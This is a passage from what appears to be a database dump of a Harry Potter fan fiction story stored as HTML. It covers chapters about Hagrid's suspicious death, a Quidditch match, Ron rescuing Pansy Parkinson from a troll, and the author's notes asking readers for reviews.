you.&#8221;</p>\n\n<p></p>\n\n<p></p>\n\n<p> *~*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p> Harry tapped his fingers nervously on his table inside of The Three Broomsticks. He had asked Hermione to meet him and she was late. Harry knew that Ginny was still upset over Malfoy, so he suspected that had something to do with it.</p>\n\n<p></p>\n\n<p> The nerve of that ferret!</p>\n\n<p></p>\n\n<p> Hagrid wasn&#8217;t even cold in his grave, it had barely been a week, and the arsehole dumps Ginny. Couldn&#8217;t he have waited? Harry frowned and drummed his fingers a little harder out of frustration. He supposed that it would have only made it worse, but really, did it have to be now!</p>\n\n<p></p>\n\n<p> Harry frowned. He was being selfish and he knew it, but there was too much going on now to humour Ginny and Malfoy&#8217;s dramatics any longer. He didn&#8217;t even have time to sort things out with Ron. Harry rubbed his hands up his face and scratched his scalp.</p>\n\n<p></p>\n\n<p> Bugger.</p>\n\n<p></p>\n\n<p> Someone tapped Harry on the shoulder and he jumped. Looking behind him, he saw that it was Hermione. Harry breathed a sigh of relief and pushed a stool at her.</p>\n\n<p></p>\n\n<p> &#8220;Sit down,&#8221; he said gruffly and without preamble. He&#8217;d been waiting to talk to her all week and they needed to work something out before the day was over. They didn&#8217;t have much time for pleasantries.</p>\n\n<p></p>\n\n<p> &#8220;You seem awfully short today, Harry. Is something the matter?&#8221; Hermione asked as she opened the menu and browsed it absently. She had brought Crookshanks along and the cat scrambled up into her lap and began to purr, nuzzling her fingers and bumping her hand aggressively.</p>\n\n<p></p>\n\n<p> Harry scratched his nose. &#8220;Sorry, Hermione. I know I should be nicer, especially considering that I&#8217;ve hardly seen you all week, but&#8212; well, something important has come to my attention and I&#8217;m feeling a bit hedged.&#8221;</p>\n\n<p></p>\n\n<p> Hermione paused from her perusal of the menu and flicked a startled glance at him before asking for a Butterbeer. The drink appeared and she took a dainty sip before clearing her throat and giving Harry her full attention.</p>\n\n<p></p>\n\n<p> &#8220;Now, what exactly did you discover?&#8221; she asked matter-of-factly, folding her fingers together.</p>\n\n<p></p>\n\n<p> Harry noticed that her hands were shaking on the table and she was trying desperately to keep them still, her knuckles white from the strain.</p>\n\n<p></p>\n\n<p> &#8220;Here, I want you to read these.&#8221; Harry handed her the dirty scraps of parchment and tried to ignore how she instantly relaxed. &#8220;I found the first note on Fang&#8217;s collar and the second behind Hagrid&#8217;s cabin.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;What is it?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Just read them,&#8221; Harry insisted, taking a tentative sip at his Butterbeer and pulling a face. He would have preferred something much stronger. Perhaps he could take Madame Rosmerta aside while Hermione wasn&#8217;t looking and ask her to spike his&#8212;</p>\n\n<p></p>\n\n<p> &#8220;Oh, Harry!&#8221; </p>\n\n<p></p>\n\n<p> He flinched and looked at Hermione with wide eyes. Had she read his mind or something? Oh, no, it was just the note; it had upset her. Harry&#8217;s breathing unhitched and slowed back to normal.</p>\n\n<p></p>\n\n<p> &#8220;I suspect that Hagrid didn&#8217;t die fighting a troll in the forest, Hermione,&#8221; Harry whispered to her in tones that wouldn&#8217;t carry past their table. All the same, he glanced around the pub nervously.</p>\n\n<p></p>\n\n<p> Tears came to Hermione&#8217;s eyes and she flicked them away angrily. &#8220;What does this mean, Harry? Why didn&#8217;t Hagrid trust Dumbledore to help him? And what about Snape; what&#8217;s in that box?&#8221;</p>\n\n<p></p>\n\n<p> Harry shrugged, took another sip of his Butterbeer, and winced. He called Madame Rosmerta over to the table.</p>\n\n<p></p>\n\n<p> &#8220;Yes?&#8221; she asked, draping a towel over her shoulder and swinging back her long, dark hair.</p>\n\n<p></p>\n\n<p> &#8220;Erm,&#8221; Harry glanced at Hermione, but she was looking the note over again. No doubt for a shred of evidence she had missed. At times like these, Harry blessed her for her thoroughness. &#8220;This Butterbeer is flat. Could you bring me another?&#8221;</p>\n\n<p></p>\n\n<p> Madame Rosmerta lifted his mug and was about to take it off to get some fresh when Harry stopped her. He glanced at Hermione again but she was still distracted. Crookshanks sat on her shoulder now and, if Harry didn&#8217;t know better, he would swear that the cat was reading Hagrid&#8217;s notes. </p>\n\n<p></p>\n\n<p> &#8220;Could you possibly liven it up a little for me?&#8221; Harry whispered to the woman plaintively, trying to ignore how Crookshanks&#8217; ears automatically twisted in his direction. &#8220;I&#8217;m having a rotten day and it&#8217;s awfully cold outside. I could use the <i>heat</i>.&#8221;</p>\n\n<p></p>\n\n<p> She looked out the window at the budding trees and green grass of spring breaking through the slushy snow and winked. &#8220;I&#8217;ll see what I can do, Harry.&#8221;</p>\n\n<p></p>\n\n<p> Harry gave her his most winning smile before settling down to arrest Hermione&#8217;s interest from the parchments. &#8220;Well, are you up for another adventure?&#8221;</p>\n\n<p></p>\n\n<p> Hermione gazed at him, her face plainly saying that she wasn&#8217;t enjoying this. &#8220;I suppose that I could drop what I&#8217;m working on now to look for any spells or charms which could help us get into his office undetected. We just need to act like nothing is wrong; pretend that we are normal and treat Dumbledore and Snape the same as we always do.&#8221;</p>\n\n<p></p>\n\n<p> She&#8217;d read his mind. Like always. Harry wondered why he even bothered with opening his mouth. Hermione already knew what he was going to say anyway.</p>\n\n<p></p>\n\n<p> &#8220;Brill,&#8221; Harry said. His Butterbeer popped up out of the table and he smiled appreciatively when the heat of the spiked brew scalded his throat and brought a sweat to his brow.</p>\n\n<p></p>\n\n<p> It was nice to have a purpose again.</p>\n\n<p></p>\n\n<p></p>\n\n<p> *~*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<i><p> Clack-clack-clack.</p>\n\n<p></p>\n\n</i><p><i>\n\n</i>Ron groaned and rubbed the bridge of his nose as he walked down to the dungeons. Another detention today with Snape and he hadn&#8217;t been allowed to go to Hogsmeade. Now he seemed to have another stalker on top of all that.</p>\n\n<p></p>\n\n<p> Bloody marvellous.</p>\n\n<p></p>\n\n<p> Ron turned to confront the person who was making such a racket and they nearly bumped into him. What did he do to the Slytherins to make them hate him so much? Oh right, he&#8217;d killed Voldemort.</p>\n\n<p></p>\n\n<p> &#8220;Piss off, Parkinson,&#8221; Ron muttered and continued shuffling toward the Potions classroom for his lovely evening with Snape, completely ignoring the girl.</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;ve come to kill you, Weasley,&#8221; she stated simply. </p>\n\n<p></p>\n\n<p> Ron glanced at her over his shoulder when he heard the hiss of a knife being pulled from its sheath. Bloody hell, he didn&#8217;t <i>need</i> this.</p>\n\n<p></p>\n\n<p> &#8220;And what did I do today? Breathe?&#8221;</p>\n\n<p></p>\n\n<p> She narrowed her eyes and came closer. <i>Clack-clack.</i> &#8220;I&#8217;ve a job to do and you&#8217;re it. You killed the Dark Lord, and my father&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Yeah, yeah, your father&#8217;s in Azkaban. I heard this already, Parkinson.&#8221; Ron rolled his eyes. It wasn&#8217;t like she could do anything but threaten him unless she wanted to go to Azkaban herself. He started walking again.</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;m not done with you yet, Weasley!&#8221; she screeched. &#8220;I want to see your face when I twist this in your guts.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Why don&#8217;t you take that knife and sho&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Aw, what&#8217;s the matter, Pansy?&#8221; a new voice broke in. &#8220;Is Blaise ignoring you, too? You could always call on Crabbe or Goyle to satisfy those animalistic urges, you know. You don&#8217;t have to stoop to crawling after <i>Lord</i> Weasley . . .&#8221;</p>\n\n<p></p>\n\n<p> Ron recognised the voice. It belonged to the slimy toadstool that hurt his sister earlier that morning. And he still hadn&#8217;t gotten his licks for touching Ginny in the first place.</p>\n\n<p></p>\n\n<p> &#8220;Malfoy,&#8221; Ron ground out and turned to face the Slytherin who was lounging casually against the wall, waiting for one of them to make a move. Draco looked ill and exhausted, with dark smudges under his eyes. He also didn&#8217;t seem as tall or menacing as Ron remembered Malfoy to be. Honestly, he looked rather pathetic, but Ron had no sympathy for him.</p>\n\n<p></p>\n\n<p> &#8220;Weasley,&#8221; Draco returned, coolly glancing between Pansy and Ron. &#8220;So, have you decided to expand your conquests to Slytherin house?&#8221; he asked in a falsely cheerful tone. &#8220;You&#8217;ll find the pickings slim, I&#8217;m afraid.&#8221;</p>\n\n<p></p>\n\n<p> Ron tensed and glanced at Pansy. She was glaring at her housemate so hard that if looks could kill, Malfoy would be six feet under. Maybe things weren&#8217;t going so well for Malfoy with Pansy and it could be used to his benefit. Ron managed to catch her eye and indicated the blonde boy with a slight inclination of his head. Pansy narrowed her eyes and looked between the two for a moment before nodding hesitantly.</p>\n\n<p></p>\n\n<p> It was probably one of the first real truces between Gryffindor and Slytherin in over one hundred years, however temporary.</p>\n\n<p></p>\n\n<p> Pansy drew her wand the same time Ron did and they shouted curses at Draco together.</p>\n\n<p></p>\n\n<p> &#8220;<i>Poxis</i>!&#8221;</p>\n\n<p></p>\n\n<p> &#8220;<i>Incendio!&#8221;</i></p><i>\n\n<p></p>\n\n</i><p><i>\n\n</i>Large spots suddenly covered Draco&#8217;s skin and flames burst on his robes. He jumped around, trying to put out the fire. Draco didn&#8217;t even notice the nasty disease he had been cursed with.</p>\n\n<p></p>\n\n<p> Ron turned away from Malfoy batting at his chest with a smirk and glanced at Pansy. Her mouth curled up smugly at the ends, and she seemed to enjoy watching Draco squirm and shout. Pansy\'s eyes reflected the fire like chips of glass, which was quite disturbing to Ron.</p>\n\n<p></p>\n\n<p> &#8220;What was that you did to him?&#8221; Ron asked curiously, scratching his head. He remembered that she had attempted to cast the same hex on him once but, thankfully, it had been a rubber wand she&#8217;d used.</p>\n\n<p></p>\n\n<p> &#8220;It&#8217;s some Muggle illness.&#8221; Pansy giggled. The laugh seemed genuine and rich, bubbling out of her. &#8220;From what I understand, the spots itch like mad and&#8212;&#8221; She stopped short and stared at him from across the corridor. Something close to fear crossed Pansy&#8217;s face and she started to tremble.</p>\n\n<p></p>\n\n<p> Ron furrowed his brow. &#8220;Don&#8217;t get all flustered. You can always kill me tomorrow, Parkinson,&#8221; he assured in a condescending tone. &#8220;Just not right now. Snape has that pleasure this evening, and I&#8217;m afraid he&#8217;s a rather greedy sort.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Professor Snape,&#8221; she murmured, looking down at her knife and then at Draco, who was slumped on the ground and digging at the spots on his arms furiously. &#8220;Of course, but he isn&#8217;t expecting you&#8212;&#8221; Pansy bit her lip. &#8220;I\'m supposed to&#8212; He&#8217;ll be so angry&#8212;&#8221;</p>\n\n<p></p>\n\n<p> Ron narrowed his eyes and stepped toward her. Something odd was going on, other than the obvious lunacy of actually being civil to a Slytherin. &#8220;What are you supposed to do?&#8221;</p>\n\n<p></p>\n\n<p> Pansy looked up, her wide blue eyes startled. &#8220;Nothing,&#8221; she managed to sneer, but it was weak. &#8220;Get out of my sight, Weasley.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Gladly.&#8221; </p>\n\n<p></p>\n\n<p> Ron stopped to stare at Draco, who was scratching at his neck now. &#8220;Don&#8217;t touch my sister again, Malfoy. You&#8217;ll get worse next time.&#8221;</p>\n\n<p></p>\n\n<p> Then he walked away, feeling slightly better than before and humming a tune he&#8217;d heard on the Wireless that afternoon. Ron didn&#8217;t notice the calculated, menacing look Draco was aiming at him and Pansy.</p>\n\n<p></p>\n\n<p></p>\n\n</font></blockquote><font face="Palatino Linotype">\n\n '),
	(271, 24, ' <blockquote>\n\n<b><font face="Palatino Linotype"></font></b><font face="Palatino Linotype"><p><b>Authour&#8217;s Notes: </b>Ron is really growing to be one of my favourite characters to write. In chapter twenty four, I hope to make you all get a bit misty, but in a good way, so look forward to that.</p>\n\n<p></p>\n\n<i><p></p>\n\n<p>How fond are men of rule and place,</p>\n\n<p>Who court it from the mean and base . . .</p>\n\n<p>Nay, ev&#8217;n with fools whole nights will sit,</p>\n\n<p>In hopes of being supreme in wit.</p>\n\n<p>If these can read, to these I write,</p>\n\n<p>To set their worth in truest light.</p>\n\n<p>~ The Lion and the Cub - John Gay</p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n</i><p>Harry wasn&#8217;t sure why he even bothered with Quidditch anymore.</p>\n\n<i><p></p>\n\n</i><p><i>\n\n</i>Granted, it was a welcome relief from more serious issues, but he felt as if he were betraying something or someone simply by playing the game. There were other things that he should be doing: researching silencing charms with Hermione; figuring out <i>why</i> Hagrid didn&#8217;t trust anyone but him in the end; or cramming for N.E.W.T&#8217;s. Harry anxiously glanced across the pitch to see Ron adjusting himself on his new Firebolt II.</p>\n\n<p></p>\n\n<p> Or making amends with Ron.</p>\n\n<p></p>\n\n<p> Bugger, this was going to be a crap game. And it was for the House Cup against Ravenclaw, and more specifically, Cho Chang. It wasn&#8217;t as if Harry felt something more than pity and a strange sense of kinship for Cho, but all the same, it was always awkward to beat Cedric&#8217;s old girlfriend. That, among other things, felt like a betrayal as well. Even after so many years.</p>\n\n<p></p>\n\n<p> Harry looked up and searched the Gryffindor stands for Hermione; she usually was not far from the announcer&#8217;s box. There she was . . . reading a bloody book! He needed her right now. He needed her to focus on him for <i>just a moment </i>instead of the stupid silencing charms and whatever else it was that she&#8212; There, now she was looking up at him, offering a tremulous smile and a wave. Harry sighed in relief and touched his fingers to his lips briefly before waving back.</p>\n\n<p></p>\n\n<p> It would be easier to play if he knew that she didn&#8217;t disapprove of what he was doing. As soon as they won the Cup, Harry planned to take Hermione somewhere to celebrate. It had been far too long since they had spent any time together. Well, time that wasn&#8217;t researching charms and enchantments. Harry nodded to himself and flew over to give his team one last bit of encouragement.</p>\n\n<p></p>\n\n<p> He waved the Gryffindors over, and they all formed a circle around him, waiting for his words. Harry noticed immediately that Ginny didn&#8217;t look well, and Ron was studiously avoiding his eyes. Seamus seemed in excellent form though, and a few of the other players were attempting to keep everyone in good spirits.</p>\n\n<p></p>\n\n<p> It wasn&#8217;t helping much, but it was a start.</p>\n\n<p></p>\n\n<p> Harry cleared his throat and began the speech he&#8217;d prepared. &#8220;Right, this is it, team. We&#8217;re only one hundred and eighty points away from the House Cup, but Ravenclaw only needs one hundred sixty. This is the very last game of the season and the last game at Hogwarts for us seventh years. Now, Ravenclaw is good, but their defence is weak and that is where we need to strike.</p>\n\n<p></p>\n\n<p> &#8220;Ron, Ginny, Seamus: I want the three of you to get the Quaffle and keep it to yourselves with that Shamrock Cluster play Seamus taught you. Ravenclaw has a wicked offence . . .&#8221; Harry faltered as he caught Ron\'s blazing blue eyes. Oh today was going to be a very, very <i>bad </i>day. He cleared his throat and struggled on, wishing desperately for a fag. &#8220;So, um, watch out for their Beaters.</p>\n\n<p></p>\n\n<p> &#8220;Dean, you need to keep your end up, too. Don&#8217;t let any of their shots get past you if you can help it. Remember that move you learned from Wood over hols? Today is the day to use it.</p>\n\n<p></p>\n\n<p>&#8220;Dennis and Therese: instead of aiming for their Chasers, try to keep their Beaters off balance. And keep an eye out for Ginny because I don&#8217;t think she&#8217;s feeling well today.&#8221;</p>\n\n<p></p>\n\n<p> Harry looked at Ginny again and frowned. Why on earth <i>had</i> she insisted on playing today? It wasn&#8217;t as if they didn&#8217;t have someone who could fill in for her. &#8220;Actually, are you sure that you&#8217;re up for this game, Ginny? You look crap, no offence.&#8221;</p>\n\n<p></p>\n\n<p> Ginny managed a scowl and tightened her hands around her broom. &#8220;I&#8217;ll be fine, Harry,&#8221; she snapped. &#8220;I&#8217;m just not feeling well today. I was up most of the night revising for my Transfiguration exam.&#8221;</p>\n\n<p></p>\n\n<p> Harry scratched the back of his neck, feeling a bit confused as to whether he should accept her excuse or bring in a reserve to take her place. He knew that she wasn&#8217;t up revising last night. He couldn&#8217;t remember the last time he&#8217;d come into the common room and <i>not</i> seen her moping in a chair before the hearth. Even in the middle of the night she was there, staring into the fire as if it held all the secrets of life. </p>\n\n<p></p>\n\n<p> &#8220;Right then. Well, that&#8217;s it, everyone watch each other&#8217;s backs. I&#8217;m going to be keeping my eyes peeled for the Snitch, but we need at least thirty points before I can grab it or we lose the Cup. <i>We have to be a team if we&#8217;re going to win this thing.</i>&#8221;</p>\n\n<p></p>\n\n<p> The team split up and assumed their positions, all except Ron, who was glaring at him.</p>\n\n<p></p>\n\n<p> &#8220;You just love giving orders, don&#8217;t you, Harry?&#8221;</p>\n\n<p></p>\n\n<p> Harry rolled his eyes and sighed. He was hoping that Ron hadn&#8217;t taken his walking away at Hagrid&#8217;s funeral the wrong way, but apparently he had. Harry realised that it was a bit foolish when he reflected upon the situation later, but at the time, it seemed like the right thing to do.</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;m the Captain, Ron. It&#8217;s my job to give orders.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;And you love it,&#8221; Ron returned, beetling his ginger brows in fury.</p>\n\n<p></p>\n\n<p> &#8220;Ron, we can&#8217;t do this. I promise that I&#8217;ll grovel later, but right now, we have a game to play. Our <i>last</i> game at Hogwarts.&#8221; </p>\n\n<p></p>\n\n<p> Ron scowled at him for a moment more before tilting the end of his broom towards the sky and shooting off across the pitch.</p>\n\n<p></p>\n\n<p> Harry firmed his resolve and followed until he was floating just above Hooch and the Quaffle was released. He managed to catch Cho&#8217;s eye and nodded to her. She returned the gesture succinctly and flew away. Harry sighed and started looking for the Snitch.</p>\n\n<p></p>\n\n<p> It was going to be a long game.</p>\n\n<p></p>\n\n<p></p>\n\n<p> *~*~*~*~*~*</p>\n\n<p></p>\n\n<p><i> O what can ail thee, knight-at-arms,</i></p><i>\n\n<p>Alone and palely loitering?</p>\n\n</i><p><i>~ La Belle Dame Sans Merci - John Keats</i></p>\n\n<p></p>\n\n<p></p>\n\n<p> Ron flew in circles around the pitch, not really paying attention to where he was going or what he was doing. Somewhere in the back of his mind, a nagging voice said that he was supposed to be in the broom tail-locking Shamrock Cluster with his fellow Chasers, but he couldn&#8217;t be arsed about something like that right now. He&#8217;d likely fall from his broom and land on his neck if he tried. </p>\n\n<p></p>\n\n<p> Seamus tossed him the Quaffle from the left and he caught it, absent-mindedly chucking it in the general direction of the goal. Naturally, the Ravenclaw Keeper batted it away and laughed when one of their Chasers picked up the ball. Ron frowned and kept going, earnestly attempting to ignore anything and everything. </p>\n\n<p></p>\n\n<p> He didn&#8217;t care if they lost this game or won it; it just didn&#8217;t bloody matter anymore. Ron heard cheers go up from the Gryffindor section when Seamus stole the Quaffle back from Ravenclaw and started making his way toward the goal. At least someone was taking the game seriously.</p>\n\n<p></p>\n\n<p> Ron saw Ginny take it out of the corner of his eye and watched with mild interest as she flew to force it past the Ravenclaw Keeper. A roar went up when she succeeded. His eyes wandered past his sister and absorbed the sunlight glinting off the lake and the deep shadows of the Forbidden Forest.</p>\n\n<p></p>\n\n<p> He squinted his eyes in the half-light, just making out a hooded figure wandering toward the edge of the Forest&#8212; and the large troll looming behind him.</p>\n\n<p></p>\n\n<p> Ron swore briefly and took off like a shot, ignoring his team mates calling to him. Ahead, he could see the troll pick this person up and their frantic kicking. It reminded him of first year all over again. Ron pushed his broom harder, the tail screaming in the wind. If he could help them&#8212; if he could save them, perhaps he could feel&#8212; what, redeemed?</p>\n\n<p></p>\n\n<p> &#8220;Get a grip, Weasley,&#8221; he muttered, leaning forward and tightening his hands around his broom as he prepared to dive.</p>\n\n<p></p>\n\n<p> The figure struggled, desperately trying to get away and screaming shrilly. Ron saw the hood of their cloak catch and tumble off to reveal coiffed, blonde waves of hair surrounding the face of Pansy Parkinson.</p>\n\n<p></p>\n\n<p> For a moment, Ron considered stopping, but he steeled himself and pressed on. It didn&#8217;t matter if it was Parkinson: she needed help. In the distance, Ron could hear the announcer yelling something to the crowd and someone calling for him.</p>\n\n<p></p>\n\n<p> Ron pulled out his wand and shouted the first spell that came to mind: &#8220;<i>Petrificus Totalus</i>!&#8221;</p>\n\n<p></p>\n\n<p> The troll was still squeezing, but it moved more slowly now, as if it was in a daze. Pansy squealed louder, in agony, and pushed against the huge fingers, trying to pry them from her waist. Ron repeated the spell several times and added a few stunning spells for good measure. Finally, the troll froze with his large, beefy hand still wrapped around Pansy&#8217;s mid-section, her ribs creaking from the pressure. She was red in the face and seemed to have trouble breathing. But when she saw who had just saved her life, Pansy&#8217;s face drained of colour.</p>\n\n<p></p>\n\n<p> &#8220;Weasley,&#8221; she gasped, squirming in the troll&#8217;s grasp. Her hair was tumbling about her pale face now and was barely restrained by the numerous pins that contained it before the troll had shaken her so violently.</p>\n\n<p></p>\n\n<p> &#8220;Parkinson,&#8221; Ron returned evenly, pocketing his wand and narrowing his eyes. He should leave; she wasn&#8217;t in danger anymore. Ron sighed and held his hand to her as he hovered just over the troll&#8217;s shoulder.</p>\n\n<p></p>\n\n<p> Pansy ignored his hand and managed to wiggle out of the troll&#8217;s fingers. &#8220;I don&#8217;t need your help, you imbecile.&#8221;</p>\n\n<p></p>\n\n<p> Ron smirked. This was something he could deal with. He glanced back at the pitch while he waited for her to come to her senses and realise that she needed help getting to the ground. There were several figures coming their way, most likely teachers.</p>\n\n<p></p>\n\n<p> When he turned back to face Pansy, he was startled to see her in mid-leap. Ron barely had time to adjust himself before she grabbed his robes and brought him tumbling to the ground with her. He could hear his new Firebolt II snap beneath their weight when they hit the slushy turf.</p>\n\n<p></p>\n\n<p> &#8220;You bastard!&#8221; Pansy screeched. She sat on his chest and tried to seize his neck in her thin, cold fingers. Ron fended her off, but not easily, and they rolled over and over in the mud before he was finally able to restrain her.</p>\n\n<p></p>\n\n<p> &#8220;What&#8217;s your problem, Parkinson? I just saved your bloody life and you try to kill me again!&#8221; Ron managed to pin her arms under his knees and deeply inhaled a few breaths of cool air into his lungs. He tried to remember not to actually sit on her since her ribs were already cracked.</p>\n\n<p></p>\n\n<p> &#8220;You really are stupid, Weasley.&#8221; Pansy set her mouth in a cold, hard line and stared at him for a moment. </p>\n\n<p></p>\n\n<p> Ron wondered just how long it took to walk over from the Quidditch pitch and why no one was riding their brooms. &#8220;I&#8217;m not stupid, just explain it to me. Hell, I&#8217;d be happy if <i>Malfoy</i> saved my life and I hate the bastard. I don&#8217;t know that I would thank him, mind, but I wouldn&#8217;t try to kill him ri&#8212;.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;m in your debt now!&#8221; she screamed into his face, tears welling in her eyes. &#8220;You want to play the hero,&#8221; Pansy sobbed. &#8220;But you&#8217;re not. You&#8217;re just a bloody fool and <i>I&#8217;m</i> paying for it!&#8221; </p>\n\n<p></p>\n\n<p> Ron stopped for a moment and looked at her. &#8220;Is your life worth so little that you&#8217;d rather die than be in my debt?&#8221; he asked her softly. Ron was surprised at himself, but he didn&#8217;t take the question back, he waited for her response.</p>\n\n<p></p>\n\n<p> Pansy was wide-eyed and terrified. &#8220;I-I don&#8217;t know. I want to kill you for what you&#8217;ve done to my family, to Draco, to our world. But I can&#8217;t now, it&#8217;s forbidden.&#8221; Pansy turned her head away and sighed bitterly. &#8220;I can&#8217;t kill you; my life is in your hands and I think that I <i>would</i> rather die.&#8221;</p>\n\n<p></p>\n\n<p> Ron sat up and released her arms when he heard the teachers get closer, some of them puffing audibly from the jog. It was all getting way too serious for him, he couldn&#8217;t handle this: her tears and her pain. The fact that she was sad because she couldn&#8217;t stick a knife in his heart! A grin tugged his lips at a sudden thought and he leaned forward to whisper to her before any of the teachers could hear him.</p>\n\n<p></p>\n\n<p> &#8220;You know, I can think of ways that you can work off your debt, Parkinson. I&#8217;ve a few friends who don&#8217;t have much luck with the ladies and&#8212;&#8221;</p>\n\n<p></p>\n\n<p> Pansy slapped him across the face and scooted back, hugging her knees tightly. Ron was quite pissed off. He&#8217;d just saved the stupid twit&#8217;s life, tried to lighten things up with a little joke, and she slaps him. </p>\n\n<p></p>\n\n<p> &#8220;You&#8217;re a whore, Parkinson,&#8221; he muttered heatedly. &#8220;You&#8217;re just a stupid Slytherin whore and you can&#8217;t even say &#8216;thank you for saving me from the troll, Weasley&#8217; or at least keep yourself from attacking me for showing up in the bloody first place. I notice that no one else flew to your rescue. Where&#8217;s your precious Dray-co now? He&#8217;s probably watching this and laughing his arse off.&#8221;</p>\n\n<p></p>\n\n<p> Ron felt bad when she hunched down further and sniffled, but she didn&#8217;t stay that way for long. When Pansy looked back up at him, her eyes were hard as agate and glinting with contempt.</p>\n\n<p></p>\n\n<p> &#8220;A whore?&#8221; She chuckled mirthlessly and shook her head, mud dripped from the strands of once perfect hair and spattered over her stubby nose. &#8220;You don&#8217;t have any room to talk, Weasley. So don&#8217;t pretend that <i>you</i> are better than me because you&#8217;re not, you bloody hypocrite.&#8221;</p>\n\n<p></p>\n\n<p> Ron stepped back to allow a flushed and breathless Madame Pomfrey to examine Pansy. He couldn&#8217;t think. He didn&#8217;t know what <i>to</i> think. So instead of saying anything further or waiting for his team mates to catch up to him, he ran. Ron ran as if all the hounds of hell were chasing him, which in a way they were.</p>\n\n<p></p>\n\n<p> Just not in the literal sense.</p>\n\n<p></p>\n\n<p></p>\n\n<p> *~*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p> Draco watched Pansy&#8217;s rescue with disappointment at first, and then a dark glee as he realised that not only had Gryffindor just lost the House Cup, but Pansy was now indebted to Ron Weasley for the rest of her life. The troll aside, it was more brilliant than anything even <i>he</i> could imagine.</p>\n\n<p></p>\n\n<p> He supposed that Pansy had her comeuppance now, even though she wasn&#8217;t mauled to pieces for sticking her nose in his private life <i>and</i> hexing him with that dreadful Muggle disease. Draco scratched his arm absently and smirked. What Pansy had now was worse than death&#8212; for a Slytherin, anyway.</p>\n\n<p></p>\n\n<p> Draco was debating with himself about whether or not Ron had been dealt with properly when Ginny caught his eye. He growled in the back of his throat, all thoughts of retribution gone as soon as he saw her face. She looked pale and tired with dark rings around her once bright brown eyes.</p>\n\n<p></p>\n\n<p> Something in him burned and he squelched the feeling. He wasn&#8217;t as pleased as he should have been to see her so miserable without him. Instead he was remembering when she came to visit him in hospital, and how her face lit up that day when she was lying in the grass, peeping around her fingers at him in the sunlight&#8212;</p>\n\n<p></p>\n\n<p> But that had never happened!</p>\n\n<p></p>\n\n<p> She had never looked at him that way. Ginny had comforted and fussed, she threw her head back in passion, or her eyes blazed with lust, but she&#8217;d never, ever gazed at him with that <i>look</i> in her eyes.</p>\n\n<p></p>\n\n<p> Draco swore to himself and turned away from her. He didn&#8217;t want to see her delicately walk across the field as if she were dying inside or dead already. Ginny had almost said that&#8212; that <i>word</i> to him. She did say it, actually. Draco didn&#8217;t know whether she&#8217;d meant it or not, but he wasn&#8217;t going to stick around to find out either.</p>\n\n<p></p>\n\n<p> He stood up and wearily made his way through the crowd and down the stairs. N.E.W.T&#8217;s were coming up and he was nowhere near prepared. It wasn&#8217;t as if Father cared anymore, the man was dead. And Mother didn&#8217;t give a toss what he did with his life now that he&#8217;d &#8216;betrayed&#8217; the family name by saving his own skin in a volatile situation. Just so long as he did his duty by marrying that Rosier girl.</p>\n\n<p></p>\n\n<p> Draco scoffed as he walked across the grass of the Quidditch pitch toward the castle and his dormitory. He was so tired, but there was so much to do. Malfoys don&#8217;t sleep all afternoon. Malfoys make perfect marks in class. Malfoys win any game they take part in, cheating when necessary. He glanced back without consciously willing himself to and caught sight of Ginny&#8217;s retreating back walking into the Gryffindor locker room.</p>\n\n<p></p>\n\n<p> And Malfoys don&#8217;t give a damn about anyone but themselves.</p>\n\n<p></p>\n\n<p>\n\n</p>\n\n<b><p>You know, you could think of this as a review drive. For every review you send me, I&#8217;ll donate a dollar to charity. *blinks* Yeah right. If I had a dollar right now, I&#8217;d be living high on the hog. But I do spend an incredible amount of time, effort, blood, sweat, and tears on this story, so would it kill you to write down a few lines telling me what you think? It doesn&#8217;t even have to be good things, just honest opinions and insight. I would like to know how many of you are still reading because I&#8217;m becoming discouraged by the lack of reviews. Especially when I go to ff.net and see stories written entirely in netspeak garnering 500+ reviews. *continues to guilt trip for a while* And elephants are our friends.</p>\n\n<p> Cheers,</p>\n\n<p> Sing</p></b></font>\n\n</blockquote>\n\n '),
	(271, 25, ' <blockquote>\n\n<font face="Palatino Linotype" size="4"><p>Authour&#8217;s Notes: I know that some of you are still going &#8216;ew&#8217; or &#8216;oh&#8217; or &#8216;erm, okay&#8217; about Hairy!Draco. Believe it or not, it is part of a major plot point, so stick with me there. You&#8217;ll all learn more about it later. </p>\n\n<p>\n\n</p>\n\n<p> And Ron gets even <i>more</i> character development in this story. This is one of my favourite chapters so far. I&#8217;m anxiously waiting until I can post chapter 27 and everything that happens after that. I&#8217;ve been *slowly* working on chapter 30, but it&#8217;s coming along. By the time it&#8217;s all ready to post, my writer&#8217;s cramp will be gone and I&#8216;ll have written the last chapters.</p>\n\n<p></p>\n\n<p>Now to personally answer some reviews because it&#8217;s fun and you all deserve it. Plus I haven&#8217;t actually done it in yonks.</p>\n\n<p></p>\n\n<p>\n\n<b>Jennifer</b>: Right on the nose. Draco got scared off by the evil L word. Kudos to you and everyone else who picked up on that. I tried to make it obvious, but I suppose that it took some thought because I just sprung it out and everyone was like: what the hell? And yes, I love Hermione. Hell, I <i>am</i> Hermione *bushy auburn/brown hair, swotty know-it-all, etc.* I am also Ginny, too *the girl shares my birthday, makes it easier to write her because she does things I have/would done/do* Are you asking because I haven&#8217;t given her a &#8216;voice&#8217; yet? Meaning, she has not had one, single POV in the entire story? Has anyone noticed that? Hmmn. I&#8217;m saving Hermione for last. And What Would Happen by Meredith Brooks is one of my favourite songs, too. I think it&#8217;s better for Hermione&#8217;s POV at the Burrow when she and Harry kiss for the first time, though. I don&#8217;t know. Let me listen to it again. *scampers off to listen to music for a while, gets lost, wanders aimlessly, then comes back* Yes, bananas are quite good with peanut butter. Oh what were you saying?</p>\n\n<p></p>\n\n<p>\n\n<b>HermionehasHarry</b>: If you want to read my other stories, they should all be up in the files section at my yahoo group (for ff.net readers, the url is g r o u p s . y a h o o 